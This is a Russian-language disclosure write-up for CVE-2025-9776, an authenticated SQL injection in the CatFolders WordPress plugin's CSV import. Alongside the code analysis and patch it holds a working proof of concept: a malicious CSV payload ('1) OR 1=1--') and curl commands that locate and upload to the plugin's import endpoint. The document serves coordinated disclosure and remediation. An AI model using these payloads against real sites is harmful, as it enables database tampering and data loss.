
CVE-2025-9776 — плагин CatFolders для WordPress: аутентифицированная SQL-инъекция через импорт CSV | POC + разбор
Ключевые слова: CVE-2025-9776, CatFolders уязвимость WordPress, SQL-инъекция WordPress, SQL-инъекция с аутентификацией, безопасность WordPress, уязвимость импорта CSV, эксплойт плагина WordPress, CWE-89, атака на базу данных WordPress, уязвимость медиатеки, WordPress CVE 2025
В плагине CatFolders для WordPress обнаружена уязвимость SQL-инъекции с аутентификацией, позволяющая пользователям с уровнем доступа Автор манипулировать запросами к базе данных через вредоносный импорт CSV.
Обнаружил: Кай Айзен (SnailSploit)
Опубликовано: 2025
Оценка CVSS: 6.5 (Средняя)
CWE: CWE-89 — SQL-инъекция
CatFolders – Tame Your WordPress Media Library by Category содержит уязвимость SQL-инъекции с аутентификацией в функциональности импорта CSV. Столбец attachments из предоставленного пользователем CSV разбивается на список и передаётся напрямую в FolderModel::set_attachments(), который конкатенирует эти значения в необработанные SQL-предложения IN (...) без надлежащей санитизации или параметризации.
Эта уязвимость позволяет аутентифицированным злоумышленникам с правами не ниже Автора:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
| Метрика | Значение |
|---|---|
| Вектор атаки | Сеть (AV:N) |
| Сложность атаки | Низкая (AC:L) |
| Необходимые привилегии | Низкие (PR:L) — Автор+ |
| Взаимодействие с пользователем | Отсутствует (UI:N) |
| Область действия | Без изменений (S:U) |
| Конфиденциальность | Без потерь (C:N) |
| Целостность | Низкая (I:L) |
| Доступность | Низкая (A:L) |
Уязвимость находится в процессе импорта CSV:
Файл: includes/Rest/Controllers/ImportController.php
import_csv разбирает загруженный CSV без проверки каждого поляrestore_folders() вызывает:FolderModel::set_attachments(
$new_folder['id'],
explode(',', $folder['attachments']),
false
);
Файл: includes/Models/FolderModel.php
set_attachments() строит необработанный SQL с помощью конкатенации строк:'raw' => 'post_id IN (' . $attachmentIds . ')'
Злоумышленник с правами Автора (возможность upload_files) может внедрить вредоносный SQL через конечную точку импорта CSV:
Вредоносная полезная нагрузка CSV:
id,name,attachments
1,Test Folder,"1) OR 1=1--"
Результирующий уязвимый запрос:
SELECT folder_id FROM wp_catf_folder_posts
WHERE post_id IN (1) OR 1=1--)
Это выходит за пределы предложения IN(...) и изменяет семантику запроса, потенциально затрагивая все строки.
curl -s https://target.site/wp-json | jq -r '.routes | keys[]' | grep '/import-csv$'
Типичный результат: /catf/v1/import-csv
Создайте файл с именем catf_inject.csv:
id,name,attachments
1,Malicious Folder,"1) OR 1=1--"
NS="/catf/v1" # Замените на обнаруженное пространство имён
curl -i \
-u 'author_user:APPLICATION_PASSWORD' \
-F "file=@catf_inject.csv;type=text/csv" \
-X POST "https://target.site/wp-json${NS}/import-csv"
Ожидаемый ответ:
{ "success": true }
Сервер строит и выполняет:
SELECT folder_id FROM wp_catf_folder_posts WHERE post_id IN (1) OR 1=1--)
Это может привести к более масштабным операциям DELETE/INSERT, чем предполагалось, часто уничтожая связи папка-вложение во всей базе данных.
Запустите автономную симуляцию SQLite, чтобы безопасно наблюдать уязвимость:
python3 poc/catfolders_sql_poc.py
Это выводит уязвимый запрос и показывает, как вредоносный токен возвращает все строки, тогда как параметризованная версия его правильно отклоняет.
Необходимые немедленные действия:
Два минимальных шага по укреплению безопасности:
- FolderModel::set_attachments( $new_folder['id'], explode(',', $folder['attachments']), false );
+ $ids = array_filter( array_map( 'intval', explode(',', $folder['attachments']) ) );
+ if ( ! empty( $ids ) ) {
+ FolderModel::set_attachments( (int) $new_folder['id'], $ids, false );
+ }
set_attachments() $imgIds = apply_filters( 'catf_attachment_ids_to_folder', $imgIds );
+ $imgIds = array_values( array_filter( array_map( 'intval', (array) $imgIds ) ) );
Замените всю конкатенацию необработанного SQL на параметризованные запросы с использованием $wpdb->prepare() WordPress:
$placeholders = implode(',', array_fill(0, count($imgIds), '%d'));
$query = $wpdb->prepare(
"SELECT folder_id FROM {$wpdb->prefix}catf_folder_posts WHERE post_id IN ($placeholders)",
...$imgIds
);
Дополнительно:
Полный патч доступен в patch/catfolders_fix.patch
CVE-2025-9776/
├── README.md # Этот файл
├── poc/
│ ├── catf_inject.csv # Вредоносная полезная нагрузка CSV
│ └── catfolders_sql_poc.py # Безопасная симуляция SQLite
└── patch/
└── catfolders_fix.patch # Рекомендуемые исправления
Исследователь: Кай Айзен (SnailSploit)
Процесс раскрытия: Координировано через программу Bug Bounty Wordfence
⚠️ ВАЖНОЕ ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ
Это доказательство концепции предоставлено исключительно для защитных исследований и образовательных целей.
Несанкционированный доступ к компьютерным системам является незаконным в соответствии с законами, включая:
Используйте на свой страх и риск. Исследователи и SnailSploit не несут ответственности за неправильное использование этой информации.
По вопросам или за дополнительной информацией об этой уязвимости:
Будьте в безопасности и поддерживайте свои установки WordPress в актуальном состоянии!
Последнее обновление: 13 октября 2025 г.
Полное описание этого проекта, методология и связанные исследования находятся по адресу:
Создано Кайем Айзеном — независимым исследователем в области безопасности.
snailsploit.com · Исследования · Фреймворки · GitHub · LinkedIn · ResearchGate · X/Twitter
Та же атака. Другая среда.